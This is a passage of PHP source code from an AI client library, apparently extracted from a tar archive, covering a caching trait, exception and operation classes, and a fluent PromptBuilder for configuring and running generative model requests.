$snakeCase = preg_replace('/([a-z])([A-Z])/', '$1_$2', $camelCase);
if ($snakeCase === null) {
return strtoupper($camelCase);
}
return strtoupper($snakeCase);
}
/**
* Returns string representation of the enum.
*
* @since 0.1.0
*
* @return string The enum value.
*/
final public function __toString(): string
{
return $this->value;
}
/**
* Converts the enum to a JSON-serializable format.
*
* @since 0.1.0
*
* @return string The enum value.
*/
#[\ReturnTypeWillChange]
public function jsonSerialize()
{
return $this->value;
}
}
Common/Traits/WithDataCachingTrait.php 0000644 00000011762 15207673127 0013762 0 ustar 00
*/
private array $localCache = [];
/**
* Gets the cache key suffixes managed by this object.
*
* @since 0.4.0
*
* @return list The cache key suffixes.
*/
abstract protected function getCachedKeys(): array;
/**
* Gets the base cache key for this object.
*
* The base cache key is used as a prefix for all cache keys managed by this object.
* It should be unique to the implementing class to avoid cache key collisions.
*
* @since 0.4.0
*
* @return string The base cache key.
*/
abstract protected function getBaseCacheKey(): string;
/**
* Checks if a value exists in the cache.
*
* @since 0.4.0
*
* @param string $key The cache key suffix (will be appended to the base key).
* @return bool True if the value exists in cache, false otherwise.
*/
protected function hasCache(string $key): bool
{
$fullKey = $this->buildCacheKey($key);
$cache = AiClient::getCache();
if ($cache !== null) {
return $cache->has($fullKey);
}
return array_key_exists($fullKey, $this->localCache);
}
/**
* Gets a value from the cache, or computes and caches it if not present.
*
* @since 0.4.0
*
* @param string $key The cache key suffix (will be appended to the base key).
* @param callable $callback The callback to compute the value if not cached.
* @param int|\DateInterval|null $ttl The TTL for the cache entry, or null for default.
* Ignored for local cache.
* @return mixed The cached or computed value.
*/
protected function cached(string $key, callable $callback, $ttl = null)
{
if ($this->hasCache($key)) {
return $this->getCache($key);
}
$value = $callback();
$this->setCache($key, $value, $ttl);
return $value;
}
/**
* Gets a value from the cache.
*
* @since 0.4.0
*
* @param string $key The cache key suffix (will be appended to the base key).
* @param mixed $default The default value to return if the key does not exist.
* @return mixed The cached value or the default value if not found.
*/
protected function getCache(string $key, $default = null)
{
$fullKey = $this->buildCacheKey($key);
$cache = AiClient::getCache();
if ($cache !== null) {
return $cache->get($fullKey, $default);
}
return $this->localCache[$fullKey] ?? $default;
}
/**
* Sets a value in the cache.
*
* @since 0.4.0
*
* @param string $key The cache key suffix (will be appended to the base key).
* @param mixed $value The value to cache.
* @param int|\DateInterval|null $ttl The TTL for the cache entry, or null for default. Ignored for local cache.
* @return bool True on success, false on failure.
*/
protected function setCache(string $key, $value, $ttl = null): bool
{
$fullKey = $this->buildCacheKey($key);
$cache = AiClient::getCache();
if ($cache !== null) {
return $cache->set($fullKey, $value, $ttl);
}
$this->localCache[$fullKey] = $value;
return \true;
}
/**
* Invalidates all caches managed by this object.
*
* @since 0.4.0
*
* @return void
*/
public function invalidateCaches(): void
{
foreach ($this->getCachedKeys() as $key) {
$this->clearCache($key);
}
}
/**
* Clears a value from the cache.
*
* @since 0.4.0
*
* @param string $key The cache key suffix (will be appended to the base key).
* @return bool True on success, false on failure.
*/
protected function clearCache(string $key): bool
{
$fullKey = $this->buildCacheKey($key);
$cache = AiClient::getCache();
if ($cache !== null) {
return $cache->delete($fullKey);
}
unset($this->localCache[$fullKey]);
return \true;
}
/**
* Builds the full cache key by combining the base key with the suffix.
*
* @since 0.4.0
*
* @param string $key The cache key suffix.
* @return string The full cache key.
*/
private function buildCacheKey(string $key): string
{
return $this->getBaseCacheKey() . '_' . $key;
}
}
Common/Exception/TokenLimitReachedException.php 0000644 00000002616 15207673127 0015674 0 ustar 00 maxTokens = $maxTokens;
}
/**
* Returns the token limit that was reached, if known.
*
* @since 1.0.0
*
* @return int|null The token limit, or null if not provided.
*/
public function getMaxTokens(): ?int
{
return $this->maxTokens;
}
}
Common/Exception/RuntimeException.php 0000644 00000000675 15207673127 0013767 0 ustar 00
*/
class GenerativeAiOperation extends AbstractDataTransferObject implements OperationInterface
{
public const KEY_ID = 'id';
public const KEY_STATE = 'state';
public const KEY_RESULT = 'result';
/**
* @var string Unique identifier for this operation.
*/
private string $id;
/**
* @var OperationStateEnum The current state of the operation.
*/
private OperationStateEnum $state;
/**
* @var GenerativeAiResult|null The result once the operation completes.
*/
private ?GenerativeAiResult $result;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $id Unique identifier for this operation.
* @param OperationStateEnum $state The current state of the operation.
* @param GenerativeAiResult|null $result The result once the operation completes.
*/
public function __construct(string $id, OperationStateEnum $state, ?GenerativeAiResult $result = null)
{
$this->id = $id;
$this->state = $state;
$this->result = $result;
}
/**
* Creates a deep clone of this operation.
*
* Clones the result object if present to ensure the cloned
* operation is independent of the original.
* The state enum is immutable and can be safely shared.
*
* @since 0.4.2
*/
public function __clone()
{
// Clone the result if present (GenerativeAiResult has __clone)
if ($this->result !== null) {
$this->result = clone $this->result;
}
// Note: $state is an immutable enum and can be safely shared
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getId(): string
{
return $this->id;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getState(): OperationStateEnum
{
return $this->state;
}
/**
* Gets the operation result.
*
* @since 0.1.0
*
* @return GenerativeAiResult|null The result or null if not yet complete.
*/
public function getResult(): ?GenerativeAiResult
{
return $this->result;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['oneOf' => [
// Succeeded state - has result
['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this operation.'], self::KEY_STATE => ['type' => 'string', 'const' => OperationStateEnum::succeeded()->value], self::KEY_RESULT => GenerativeAiResult::getJsonSchema()], 'required' => [self::KEY_ID, self::KEY_STATE, self::KEY_RESULT], 'additionalProperties' => \false],
// All other states - no result
['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this operation.'], self::KEY_STATE => ['type' => 'string', 'enum' => [OperationStateEnum::starting()->value, OperationStateEnum::processing()->value, OperationStateEnum::failed()->value, OperationStateEnum::canceled()->value], 'description' => 'The current state of the operation.']], 'required' => [self::KEY_ID, self::KEY_STATE], 'additionalProperties' => \false],
]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return GenerativeAiOperationArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_ID => $this->id, self::KEY_STATE => $this->state->value];
if ($this->result !== null) {
$data[self::KEY_RESULT] = $this->result->toArray();
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_ID, self::KEY_STATE]);
$state = OperationStateEnum::from($array[self::KEY_STATE]);
if ($state->isSucceeded()) {
// If the operation has succeeded, it must have a result
static::validateFromArrayData($array, [self::KEY_RESULT]);
}
$result = null;
if (isset($array[self::KEY_RESULT])) {
$result = GenerativeAiResult::fromArray($array[self::KEY_RESULT]);
}
return new self($array[self::KEY_ID], $state, $result);
}
}
Operations/Contracts/OperationInterface.php 0000644 00000001413 15207673127 0015132 0 ustar 00 |list|null
*/
class PromptBuilder
{
/**
* @var ProviderRegistry The provider registry for finding suitable models.
*/
private ProviderRegistry $registry;
/**
* @var list The messages in the conversation.
*/
protected array $messages = [];
/**
* @var ModelInterface|null The model to use for generation.
*/
protected ?ModelInterface $model = null;
/**
* @var list Ordered list of preference keys to check when selecting a model.
*/
protected array $modelPreferenceKeys = [];
/**
* @var string|null The provider ID or class name.
*/
protected ?string $providerIdOrClassName = null;
/**
* @var ModelConfig The model configuration.
*/
protected ModelConfig $modelConfig;
/**
* @var RequestOptions|null The request options for HTTP transport.
*/
protected ?RequestOptions $requestOptions = null;
/**
* @var EventDispatcherInterface|null The event dispatcher for prompt lifecycle events.
*/
private ?EventDispatcherInterface $eventDispatcher = null;
// phpcs:disable Generic.Files.LineLength.TooLong
/**
* Constructor.
*
* @since 0.1.0
*
* @param ProviderRegistry $registry The provider registry for finding suitable models.
* @param Prompt $prompt Optional initial prompt content.
* @param EventDispatcherInterface|null $eventDispatcher Optional event dispatcher for lifecycle events.
*/
// phpcs:enable Generic.Files.LineLength.TooLong
public function __construct(ProviderRegistry $registry, $prompt = null, ?EventDispatcherInterface $eventDispatcher = null)
{
$this->registry = $registry;
$this->modelConfig = new ModelConfig();
$this->eventDispatcher = $eventDispatcher;
if ($prompt === null) {
return;
}
// Check if it's a list of Messages - set as messages
if ($this->isMessagesList($prompt)) {
$this->messages = $prompt;
return;
}
// Parse it as a user message
$userMessage = $this->parseMessage($prompt, MessageRoleEnum::user());
$this->messages[] = $userMessage;
}
/**
* Creates a deep clone of this builder.
*
* Clones all mutable state including messages, model configuration, and request options.
* Service objects (registry, model, event dispatcher) are intentionally NOT cloned
* as they are shared dependencies.
*
* @since 0.4.2
*/
public function __clone()
{
// Deep clone messages array (Message has __clone)
$clonedMessages = [];
foreach ($this->messages as $message) {
$clonedMessages[] = clone $message;
}
$this->messages = $clonedMessages;
// Clone model config (ModelConfig has __clone)
$this->modelConfig = clone $this->modelConfig;
// Clone request options if set (contains only primitives)
if ($this->requestOptions !== null) {
$this->requestOptions = clone $this->requestOptions;
}
// Note: $registry, $model, and $eventDispatcher are service objects
// and are intentionally NOT cloned - they should be shared references.
}
/**
* Adds text to the current message.
*
* @since 0.1.0
*
* @param string $text The text to add.
* @return self
*/
public function withText(string $text): self
{
$part = new MessagePart($text);
$this->appendPartToMessages($part);
return $this;
}
/**
* Adds a file to the current message.
*
* Accepts:
* - File object
* - URL string (remote file)
* - Base64-encoded data string
* - Data URI string (data:mime/type;base64,data)
* - Local file path string
*
* @since 0.1.0
*
* @param string|File $file The file (File object or string representation).
* @param string|null $mimeType The MIME type (optional, ignored if File object provided).
* @return self
* @throws InvalidArgumentException If the file is invalid or MIME type cannot be determined.
*/
public function withFile($file, ?string $mimeType = null): self
{
$file = $file instanceof File ? $file : new File($file, $mimeType);
$part = new MessagePart($file);
$this->appendPartToMessages($part);
return $this;
}
/**
* Adds a function response to the current message.
*
* @since 0.1.0
*
* @param FunctionResponse $functionResponse The function response.
* @return self
*/
public function withFunctionResponse(FunctionResponse $functionResponse): self
{
$part = new MessagePart($functionResponse);
$this->appendPartToMessages($part);
return $this;
}
/**
* Adds message parts to the current message.
*
* @since 0.1.0
*
* @param MessagePart ...$parts The message parts to add.
* @return self
*/
public function withMessageParts(MessagePart ...$parts): self
{
foreach ($parts as $part) {
$this->appendPartToMessages($part);
}
return $this;
}
/**
* Adds conversation history messages.
*
* Historical messages are prepended to the beginning of the message list,
* before the current message being built.
*
* @since 0.1.0
*
* @param Message ...$messages The messages to add to history.
* @return self
*/
public function withHistory(Message ...$messages): self
{
// Prepend the history messages to the beginning of the messages array
$this->messages = array_merge($messages, $this->messages);
return $this;
}
/**
* Sets the model to use for generation.
*
* The model's configuration will be merged with the builder's configuration,
* with the builder's configuration taking precedence for any overlapping settings.
*
* @since 0.1.0
*
* @param ModelInterface $model The model to use.
* @return self
*/
public function usingModel(ModelInterface $model): self
{
$this->model = $model;
// Merge model's config with builder's config, with builder's config taking precedence
$modelConfigArray = $model->getConfig()->toArray();
$builderConfigArray = $this->modelConfig->toArray();
$mergedConfigArray = array_merge($modelConfigArray, $builderConfigArray);
$this->modelConfig = ModelConfig::fromArray($mergedConfigArray);
return $this;
}
/**
* Sets preferred models to evaluate in order.
*
* @since 0.2.0
*
* @param string|ModelInterface|array{0:string,1:string} ...$preferredModels The preferred models as model IDs,
* model instances, or [provider ID, model ID] tuples. For broader compatibility, it is recommended you specify
* only model IDs or model instances, as that will allow for different providers that expose the same model to be
* considered.
* @return self
*
* @throws InvalidArgumentException When a preferred model has an invalid type or identifier.
*/
public function usingModelPreference(...$preferredModels): self
{
if ($preferredModels === []) {
throw new InvalidArgumentException('At least one model preference must be provided.');
}
$preferenceKeys = [];
foreach ($preferredModels as $preferredModel) {
if (is_array($preferredModel)) {
// [model identifier, provider ID] tuple
if (!array_is_list($preferredModel) || count($preferredModel) !== 2) {
throw new InvalidArgumentException('Model preference tuple must contain model identifier and provider ID.');
}
[$providerId, $modelId] = $preferredModel;
$modelId = $this->normalizePreferenceIdentifier($modelId);
$providerId = $this->normalizePreferenceIdentifier($providerId, 'Model preference provider identifiers cannot be empty.');
$preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
} elseif ($preferredModel instanceof ModelInterface) {
// Model instance
$modelId = $preferredModel->metadata()->getId();
$providerId = $preferredModel->providerMetadata()->getId();
$preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
} elseif (is_string($preferredModel)) {
// Model ID
$modelId = $this->normalizePreferenceIdentifier($preferredModel);
$preferenceKey = $this->createModelPreferenceKey($modelId);
} else {
// Invalid type
throw new InvalidArgumentException('Model preferences must be model identifiers, instances of ModelInterface, ' . 'or provider/model tuples.');
}
$preferenceKeys[] = $preferenceKey;
}
$this->modelPreferenceKeys = $preferenceKeys;
return $this;
}
/**
* Sets the model configuration.
*
* Merges the provided configuration with the builder's configuration,
* with builder configuration taking precedence.
*
* @since 0.1.0
*
* @param ModelConfig $config The model configuration to merge.
* @return self
*/
public function usingModelConfig(ModelConfig $config): self
{
// Convert both configs to arrays
$builderConfigArray = $this->modelConfig->toArray();
$providedConfigArray = $config->toArray();
// Merge arrays with builder config taking precedence
$mergedArray = array_merge($providedConfigArray, $builderConfigArray);
// Create new config from merged array
$this->modelConfig = ModelConfig::fromArray($mergedArray);
return $this;
}
/**
* Sets the provider to use for generation.
*
* @since 0.1.0
*
* @param string $providerIdOrClassName The provider ID or class name.
* @return self
*/
public function usingProvider(string $providerIdOrClassName): self
{
$this->providerIdOrClassName = $providerIdOrClassName;
return $this;
}
/**
* Sets the system instruction.
*
* System instructions are stored in the model configuration and guide
* the AI model's behavior throughout the conversation.
*
* @since 0.1.0
*
* @param string $systemInstruction The system instruction text.
* @return self
*/
public function usingSystemInstruction(string $systemInstruction): self
{
$this->modelConfig->setSystemInstruction($systemInstruction);
return $this;
}
/**
* Sets the maximum number of tokens to generate.
*
* @since 0.1.0
*
* @param int $maxTokens The maximum number of tokens.
* @return self
*/
public function usingMaxTokens(int $maxTokens): self
{
$this->modelConfig->setMaxTokens($maxTokens);
return $this;
}
/**
* Sets the temperature for generation.
*
* @since 0.1.0
*
* @param float $temperature The temperature value.
* @return self
*/
public function usingTemperature(float $temperature): self
{
$this->modelConfig->setTemperature($temperature);
return $this;
}
/**
* Sets the top-p value for generation.
*
* @since 0.1.0
*
* @param float $topP The top-p value.
* @return self
*/
public function usingTopP(float $topP): self
{
$this->modelConfig->setTopP($topP);
return $this;
}
/**
* Sets the top-k value for generation.
*
* @since 0.1.0
*
* @param int $topK The top-k value.
* @return self
*/
public function usingTopK(int $topK): self
{
$this->modelConfig->setTopK($topK);
return $this;
}
/**
* Sets stop sequences for generation.
*
* @since 0.1.0
*
* @param string ...$stopSequences The stop sequences.
* @return self
*/
public function usingStopSequences(string ...$stopSequences): self
{
$this->modelConfig->setStopSequences($stopSequences);
return $this;
}
/**
* Sets the number of candidates to generate.
*
* @since 0.1.0
*
* @param int $candidateCount The number of candidates.
* @return self
*/
public function usingCandidateCount(int $candidateCount): self
{
$this->modelConfig->setCandidateCount($candidateCount);
return $this;
}
/**
* Sets the function declarations available to the model.
*
* @since 0.1.0
*
* @param FunctionDeclaration ...$functionDeclarations The function declarations.
* @return self
*/
public function usingFunctionDeclarations(FunctionDeclaration ...$functionDeclarations): self
{
$this->modelConfig->setFunctionDeclarations($functionDeclarations);
return $this;
}
/**
* Sets the presence penalty for generation.
*
* @since 0.1.0
*
* @param float $presencePenalty The presence penalty value.
* @return self
*/
public function usingPresencePenalty(float $presencePenalty): self
{
$this->modelConfig->setPresencePenalty($presencePenalty);
return $this;
}
/**
* Sets the frequency penalty for generation.
*
* @since 0.1.0
*
* @param float $frequencyPenalty The frequency penalty value.
* @return self
*/
public function usingFrequencyPenalty(float $frequencyPenalty): self
{
$this->modelConfig->setFrequencyPenalty($frequencyPenalty);
return $this;
}
/**
* Sets the web search configuration.
*
* @since 0.1.0
*
* @param WebSearch $webSearch The web search configuration.
* @return self
*/
public function usingWebSearch(WebSearch $webSearch): self
{
$this->modelConfig->setWebSearch($webSearch);
return $this;
}
/**
* Sets the request options for HTTP transport.
*
* @since 0.3.0
*
* @param RequestOptions $requestOptions The request options.
* @return self
*/
public function usingRequestOptions(RequestOptions $requestOptions): self
{
$this->requestOptions = $requestOptions;
return $this;
}
/**
* Sets the top log probabilities configuration.
*
* If $topLogprobs is null, enables log probabilities.
* If $topLogprobs has a value, enables log probabilities and sets the number of top log probabilities to return.
*
* @since 0.1.0
*
* @param int|null $topLogprobs The number of top log probabilities to return, or null to enable log probabilities.
* @return self
*/
public function usingTopLogprobs(?int $topLogprobs = null): self
{
// Always enable log probabilities
$this->modelConfig->setLogprobs(\true);
// If a specific number is provided, set it
if ($topLogprobs !== null) {
$this->modelConfig->setTopLogprobs($topLogprobs);
}
return $this;
}
/**
* Sets the output MIME type.
*
* @since 0.1.0
*
* @param string $mimeType The MIME type.
* @return self
*/
public function asOutputMimeType(string $mimeType): self
{
$this->modelConfig->setOutputMimeType($mimeType);
return $this;
}
/**
* Sets the output schema.
*
* @since 0.1.0
*
* @param array $schema The output schema.
* @return self
*/
public function asOutputSchema(array $schema): self
{
$this->modelConfig->setOutputSchema($schema);
return $this;
}
/**
* Sets the output modalities.
*
* @since 0.1.0
*
* @param ModalityEnum ...$modalities The output modalities.
* @return self
*/
public function asOutputModalities(ModalityEnum ...$modalities): self
{
$this->modelConfig->setOutputModalities($modalities);
return $this;
}
/**
* Sets the output file type.
*
* @since 0.1.0
*
* @param FileTypeEnum $fileType The output file type.
* @return self
*/
public function asOutputFileType(FileTypeEnum $fileType): self
{
$this->modelConfig->setOutputFileType($fileType);
return $this;
}
/**
* Sets the output media orientation.
*
* @since 1.3.0
*
* @param MediaOrientationEnum $orientation The output media orientation.
* @return self
*/
public function asOutputMediaOrientation(MediaOrientationEnum $orientation): self
{
$this->modelConfig->setOutputMediaOrientation($orientation);
return $this;
}
/**
* Sets the output media aspect ratio.
*
* If set, this supersedes the output media orientation, as it is a more
* specific configuration.
*
* @since 1.3.0
*
* @param string $aspectRatio The aspect ratio (e.g. "16:9", "3:2").
* @return self
*/
public function asOutputMediaAspectRatio(string $aspectRatio): self
{
$this->modelConfig->setOutputMediaAspectRatio($aspectRatio);
return $this;
}
/**
* Sets the output speech voice.
*
* @since 1.3.0
*
* @param string $voice The output speech voice.
* @return self
*/
public function asOutputSpeechVoice(string $voice): self
{
$this->modelConfig->setOutputSpeechVoice($voice);
return $this;
}
/**
* Configures the prompt for JSON response output.
*
* @since 0.1.0
*
* @param array|null $schema Optional JSON schema.
* @return self
*/
public function asJsonResponse(?array $schema = null): self
{
$this->asOutputMimeType('application/json');
if ($schema !== null) {
$this->asOutputSchema($schema);
}
return $this;
}
/**
* Infers the capability from configured output modalities.
*
* @since 0.1.0
*
* @return CapabilityEnum The inferred capability.
* @throws RuntimeException If the output modality is not supported.
*/
private function inferCapabilityFromOutputModalities(): CapabilityEnum
{
// Get the configured output modalities
$outputModalities = $this->modelConfig->getOutputModalities();
// Default to text if no output modality is specified
if ($outputModalities === null || empty($outputModalities)) {
return CapabilityEnum::textGeneration();
}
// Multi-modal output (multiple modalities) defaults to text generation. This is temporary
// as a multi-modal interface will be implemented in the future.
if (count($outputModalities) > 1) {
return CapabilityEnum::textGeneration();
}
// Infer capability from single output modality
$outputModality = $outputModalities[0];
if ($outputModality->isText()) {
return CapabilityEnum::textGeneration();
} elseif ($outputModality->isImage()) {
return CapabilityEnum::imageGeneration();
} elseif ($outputModality->isAudio()) {
return CapabilityEnum::speechGeneration();
} elseif ($outputModality->isVideo()) {
return CapabilityEnum::videoGeneration();
} else {
// For unsupported modalities, provide a clear error message
throw new RuntimeException(sprintf('Output modality "%s" is not yet supported.', $outputModality->value));
}
}
/**
* Infers the capability from a model's implemented interfaces.
*
* @since 0.1.0
*
* @param ModelInterface $model The model to infer capability from.
* @return CapabilityEnum|null The inferred capability, or null if none can be inferred.
*/
private function inferCapabilityFromModelInterfaces(ModelInterface $model): ?CapabilityEnum
{
// Check model interfaces in order of preference
if ($model instanceof TextGenerationModelInterface) {
return CapabilityEnum::textGeneration();
}
if ($model instanceof ImageGenerationModelInterface) {
return CapabilityEnum::imageGeneration();
}
if ($model instanceof TextToSpeechConversionModelInterface) {
return CapabilityEnum::textToSpeechConversion();
}
if ($model instanceof SpeechGenerationModelInterface) {
return CapabilityEnum::speechGeneration();
}
if ($model instanceof VideoGenerationModelInterface) {
return CapabilityEnum::videoGeneration();
}
// No supported interface found
return null;
}
/**
* Checks if the current prompt is supported by the selected model.
*
* @since 0.1.0
* @since 0.3.0 Method visibility changed to public.
*
* @param CapabilityEnum|null $capability Optional capability to check support for.
* @return bool True if supported, false otherwise.
*/
public function isSupported(?CapabilityEnum $capability = null): bool
{
// If no intended capability provided, infer from output modalities
if ($capability === null) {
// First try to infer from a specific model if one is set
if ($this->model !== null) {
$inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model);
if ($inferredCapability !== null) {
$capability = $inferredCapability;
}
}
// If still no capability, infer from output modalities
if ($capability === null) {
$capability = $this->inferCapabilityFromOutputModalities();
}
}
// Build requirements with the specified capability
$requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig);
// If the model has been set, check if it meets the requirements
if ($this->model !== null) {
return $requirements->areMetBy($this->model->metadata());
}
try {
// Check if any models support these requirements
$models = $this->registry->findModelsMetadataForSupport($requirements);
return !empty($models);
} catch (InvalidArgumentException $e) {
// No models support the requirements
return \false;
}
}
/**
* Checks if the prompt is supported for text generation.
*
* @since 0.1.0
*
* @return bool True if text generation is supported.
*/
public function isSupportedForTextGeneration(): bool
{
return $this->isSupported(CapabilityEnum::textGeneration());
}
/**
* Checks if the prompt is supported for image generation.
*
* @since 0.1.0
*
* @return bool True if image generation is supported.
*/
public function isSupportedForImageGeneration(): bool
{
return $this->isSupported(CapabilityEnum::imageGeneration());
}
/**
* Checks if the prompt is supported for text to speech conversion.
*
* @since 0.1.0
*
* @return bool True if text to speech conversion is supported.
*/
public function isSupportedForTextToSpeechConversion(): bool
{
return $this->isSupported(CapabilityEnum::textToSpeechConversion());
}
/**
* Checks if the prompt is supported for video generation.
*
* @since 0.1.0
*
* @return bool True if video generation is supported.
*/
public function isSupportedForVideoGeneration(): bool
{
return $this->isSupported(CapabilityEnum::videoGeneration());
}
/**
* Checks if the prompt is supported for speech generation.
*
* @since 0.1.0
*
* @return bool True if speech generation is supported.
*/
public function isSupportedForSpeechGeneration(): bool
{
return $this->isSupported(CapabilityEnum::speechGeneration());
}
/**
* Checks if the prompt is supported for music generation.
*
* @since 0.1.0
*
* @return bool True if music generation is supported.
*/
public function isSupportedForMusicGeneration(): bool
{
return $this->isSupported(CapabilityEnum::musicGeneration());
}
/**
* Checks if the prompt is supported for embedding generation.
*
* @since 0.1.0
*
* @return bool True if embedding generation is supported.
*/
public function isSupportedForEmbeddingGeneration(): bool
{
return $this->isSupported(CapabilityEnum::embeddingGeneration());
}
/**
* Generates a result from the prompt.
*
* This is the primary execution method that generates a result (containing
* potentially multiple candidates) based on the specified capability or
* the configured output modality.
*
* @since 0.1.0
*
* @param CapabilityEnum|null $capability Optional capability to use for generation.
* If null, capability is inferred from output modality.
* @return GenerativeAiResult The generated result containing candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support the required capability.
*/
public function generateResult(?CapabilityEnum $capability = null): GenerativeAiResult
{
$this->validateMessages();
// If capability is not provided, infer it
if ($capability === null) {
// First try to infer from a specific model if one is set
if ($this->model !== null) {
$inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model);
if ($inferredCapability !== null) {
$capability = $inferredCapability;
}
}
// If still no capability, infer from output modalities
if ($capability === null) {
$capability = $this->inferCapabilityFromOutputModalities();
}
}
$model = $this->getConfiguredModel($capability);
// Dispatch BeforeGenerateResultEvent
$this->dispatchEvent(new BeforeGenerateResultEvent($this->messages, $model, $capability));
// Route to the appropriate generation method based on capability
$result = $this->executeModelGeneration($model, $capability, $this->messages);
// Dispatch AfterGenerateResultEvent
$this->dispatchEvent(new AfterGenerateResultEvent($this->messages, $model, $capability, $result));
return $result;
}
/**
* Executes the model generation based on capability.
*
* @since 0.4.0
*
* @param ModelInterface $model The model to use for generation.
* @param CapabilityEnum $capability The capability to use.
* @param list $messages The messages to send.
* @return GenerativeAiResult The generated result.
* @throws RuntimeException If the model doesn't support the required capability.
*/
private function executeModelGeneration(ModelInterface $model, CapabilityEnum $capability, array $messages): GenerativeAiResult
{
if ($capability->isTextGeneration()) {
if (!$model instanceof TextGenerationModelInterface) {
throw new RuntimeException(sprintf('Model "%s" does not support text generation.', $model->metadata()->getId()));
}
return $model->generateTextResult($messages);
}
if ($capability->isImageGeneration()) {
if (!$model instanceof ImageGenerationModelInterface) {
throw new RuntimeException(sprintf('Model "%s" does not support image generation.', $model->metadata()->getId()));
}
return $model->generateImageResult($messages);
}
if ($capability->isTextToSpeechConversion()) {
if (!$model instanceof TextToSpeechConversionModelInterface) {
throw new RuntimeException(sprintf('Model "%s" does not support text-to-speech conversion.', $model->metadata()->getId()));
}
return $model->convertTextToSpeechResult($messages);
}
if ($capability->isSpeechGeneration()) {
if (!$model instanceof SpeechGenerationModelInterface) {
throw new RuntimeException(sprintf('Model "%s" does not support speech generation.', $model->metadata()->getId()));
}
return $model->generateSpeechResult($messages);
}
if ($capability->isVideoGeneration()) {
if (!$model instanceof VideoGenerationModelInterface) {
throw new RuntimeException(sprintf('Model "%s" does not support video generation.', $model->metadata()->getId()));
}
return $model->generateVideoResult($messages);
}
// TODO: Add support for other capabilities when interfaces are available
throw new RuntimeException(sprintf('Capability "%s" is not yet supported for generation.', $capability->value));
}
/**
* Generates a text result from the prompt.
*
* @since 0.1.0
*
* @return GenerativeAiResult The generated result containing text candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support text generation.
*/
public function generateTextResult(): GenerativeAiResult
{
// Include text in output modalities
$this->includeOutputModalities(ModalityEnum::text());
// Generate and return the result with text generation capability
return $this->generateResult(CapabilityEnum::textGeneration());
}
/**
* Generates an image result from the prompt.
*
* @since 0.1.0
*
* @return GenerativeAiResult The generated result containing image candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support image generation.
*/
public function generateImageResult(): GenerativeAiResult
{
// Include image in output modalities
$this->includeOutputModalities(ModalityEnum::image());
// Generate and return the result with image generation capability
return $this->generateResult(CapabilityEnum::imageGeneration());
}
/**
* Generates a speech result from the prompt.
*
* @since 0.1.0
*
* @return GenerativeAiResult The generated result containing speech audio candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support speech generation.
*/
public function generateSpeechResult(): GenerativeAiResult
{
// Include audio in output modalities
$this->includeOutputModalities(ModalityEnum::audio());
// Generate and return the result with speech generation capability
return $this->generateResult(CapabilityEnum::speechGeneration());
}
/**
* Converts text to speech and returns the result.
*
* @since 0.1.0
*
* @return GenerativeAiResult The generated result containing speech audio candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support text-to-speech conversion.
*/
public function convertTextToSpeechResult(): GenerativeAiResult
{
// Include audio in output modalities
$this->includeOutputModalities(ModalityEnum::audio());
// Generate and return the result with text-to-speech conversion capability
return $this->generateResult(CapabilityEnum::textToSpeechConversion());
}
/**
* Generates a video result from the prompt.
*
* @since 1.3.0
*
* @return GenerativeAiResult The generated result containing video candidates.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If the model doesn't support video generation.
*/
public function generateVideoResult(): GenerativeAiResult
{
// Include video in output modalities
$this->includeOutputModalities(ModalityEnum::video());
// Generate and return the result with video generation capability
return $this->generateResult(CapabilityEnum::videoGeneration());
}
/**
* Generates text from the prompt.
*
* @since 0.1.0
*
* @return string The generated text.
* @throws InvalidArgumentException If the prompt or model validation fails.
*/
public function generateText(): string
{
return $this->generateTextResult()->toText();
}
/**
* Generates multiple text candidates from the prompt.
*
* @since 0.1.0
*
* @param int|null $candidateCount The number of candidates to generate.
* @return list The generated texts.
* @throws InvalidArgumentException If the prompt or model validation fails.
*/
public function generateTexts(?int $candidateCount = null): array
{
if ($candidateCount !== null) {
$this->usingCandidateCount($candidateCount);
}
// Generate text result
return $this->generateTextResult()->toTexts();
}
/**
* Generates an image from the prompt.
*
* @since 0.1.0
*
* @return File The generated image file.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no image is generated.
*/
public function generateImage(): File
{
return $this->generateImageResult()->toFile();
}
/**
* Generates multiple images from the prompt.
*
* @since 0.1.0
*
* @param int|null $candidateCount The number of images to generate.
* @return list The generated image files.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no images are generated.
*/
public function generateImages(?int $candidateCount = null): array
{
if ($candidateCount !== null) {
$this->usingCandidateCount($candidateCount);
}
return $this->generateImageResult()->toFiles();
}
/**
* Converts text to speech.
*
* @since 0.1.0
*
* @return File The generated speech audio file.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no audio is generated.
*/
public function convertTextToSpeech(): File
{
return $this->convertTextToSpeechResult()->toFile();
}
/**
* Converts text to multiple speech outputs.
*
* @since 0.1.0
*
* @param int|null $candidateCount The number of speech outputs to generate.
* @return list The generated speech audio files.
* @throws InvalidArgumentException If the prompt or model validation fails.
* @throws RuntimeException If no audio is generated.
*/
public function convertTextToSpeeches(?int $candidateCount = null): array
{
if ($candidateCount !== null) {
$this->usingCandidateCount($candidateCount);
}
